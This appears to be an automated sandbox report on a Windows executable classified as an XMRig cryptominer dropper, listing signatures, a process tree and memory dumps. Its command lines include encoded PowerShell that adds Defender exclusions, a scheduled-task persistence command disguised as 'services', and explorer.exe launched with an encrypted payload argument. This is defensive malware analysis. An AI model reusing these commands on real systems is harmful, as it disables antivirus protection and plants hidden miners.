Analysis

  • max time kernel
    152s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    07/01/2022, 12:29

General

  • Target
    23516a667e98f72e36a12240cb0f0de5.exe
  • Size 4.2MB
  • Sample220107-pnw4jacfeq
  • SHA256 21054e559ffbfd37f07ce33085fb9c4ed8e9583f66aaee1f68b51ea01ab2e757
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\23516a667e98f72e36a12240cb0f0de5.exe
    "C:\Users\Admin\AppData\Local\Temp\23516a667e98f72e36a12240cb0f0de5.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1212
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:380
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2116
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2248
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
        3⤵
        • Creates scheduled task(s)
        PID:2940
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:520
      • C:\Users\Admin\AppData\Roaming\Microsoft\services.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\services.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2316
        • C:\Windows\system32\cmd.exe
          "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1452
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2528
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3972
        • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"
          4⤵
          • Executes dropped EXE
          PID:2244
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe ytovbgrvfjj0 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
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1532

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/380-138-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-162-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-125-0x000001D5C8750000-0x000001D5C8772000-memory.dmp

        memory/380-126-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-127-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-128-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-129-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-130-0x000001D5E15C0000-0x000001D5E1636000-memory.dmp

        memory/380-132-0x000001D5C8310000-0x000001D5C8312000-memory.dmp

        memory/380-133-0x000001D5C8313000-0x000001D5C8315000-memory.dmp

        memory/380-134-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-120-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-139-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-140-0x000001D5C8316000-0x000001D5C8318000-memory.dmp

        memory/380-141-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-161-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-124-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-164-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-165-0x000001D5C8318000-0x000001D5C8319000-memory.dmp

        memory/380-166-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-121-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-122-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/380-123-0x000001D5C6980000-0x000001D5C6982000-memory.dmp

        memory/1532-331-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/1532-334-0x0000000000560000-0x0000000000580000-memory.dmp

        memory/1532-335-0x0000000002140000-0x0000000002160000-memory.dmp

        memory/1988-115-0x0000000000F40000-0x0000000001376000-memory.dmp

        memory/1988-131-0x000000001CF20000-0x000000001CF22000-memory.dmp

        memory/1988-117-0x0000000001CB0000-0x0000000001CC2000-memory.dmp

        memory/1988-116-0x0000000000F40000-0x0000000001376000-memory.dmp

        memory/2116-181-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-179-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-183-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-187-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-188-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-198-0x0000026218130000-0x0000026218132000-memory.dmp

        memory/2116-199-0x0000026218133000-0x0000026218135000-memory.dmp

        memory/2116-202-0x0000026218136000-0x0000026218138000-memory.dmp

        memory/2116-216-0x0000026218138000-0x0000026218139000-memory.dmp

        memory/2116-173-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-180-0x0000026232B30000-0x0000026232BA6000-memory.dmp

        memory/2116-169-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-176-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-178-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-170-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-171-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-172-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-177-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-182-0x0000026217EC0000-0x0000026217EC2000-memory.dmp

        memory/2116-174-0x0000026218140000-0x0000026218162000-memory.dmp

        memory/2244-324-0x00000000001F0000-0x00000000001F6000-memory.dmp

        memory/2244-325-0x00000000001F0000-0x00000000001F6000-memory.dmp

        memory/2244-327-0x0000000002980000-0x0000000002982000-memory.dmp

        memory/2316-241-0x000000001CD02000-0x000000001CD03000-memory.dmp

        memory/2316-225-0x0000000001320000-0x0000000001332000-memory.dmp

        memory/2316-223-0x00000000006F0000-0x0000000000B26000-memory.dmp

        memory/2316-224-0x00000000006F0000-0x0000000000B26000-memory.dmp

        memory/2528-244-0x000001829BA43000-0x000001829BA45000-memory.dmp

        memory/2528-272-0x000001829BA46000-0x000001829BA48000-memory.dmp

        memory/2528-310-0x000001829BA48000-0x000001829BA49000-memory.dmp

        memory/2528-243-0x000001829BA40000-0x000001829BA42000-memory.dmp

        memory/2528-239-0x000001829CF60000-0x000001829CFD6000-memory.dmp

        memory/2528-233-0x000001829B9B0000-0x000001829B9D2000-memory.dmp

        memory/3972-312-0x0000018579660000-0x0000018579662000-memory.dmp

        memory/3972-326-0x0000018579668000-0x0000018579669000-memory.dmp

        memory/3972-286-0x000001857AD10000-0x000001857AD86000-memory.dmp

        memory/3972-314-0x0000018579663000-0x0000018579665000-memory.dmp

        memory/3972-281-0x000001857A2A0000-0x000001857A2C2000-memory.dmp

        memory/3972-315-0x0000018579666000-0x0000018579668000-memory.dmp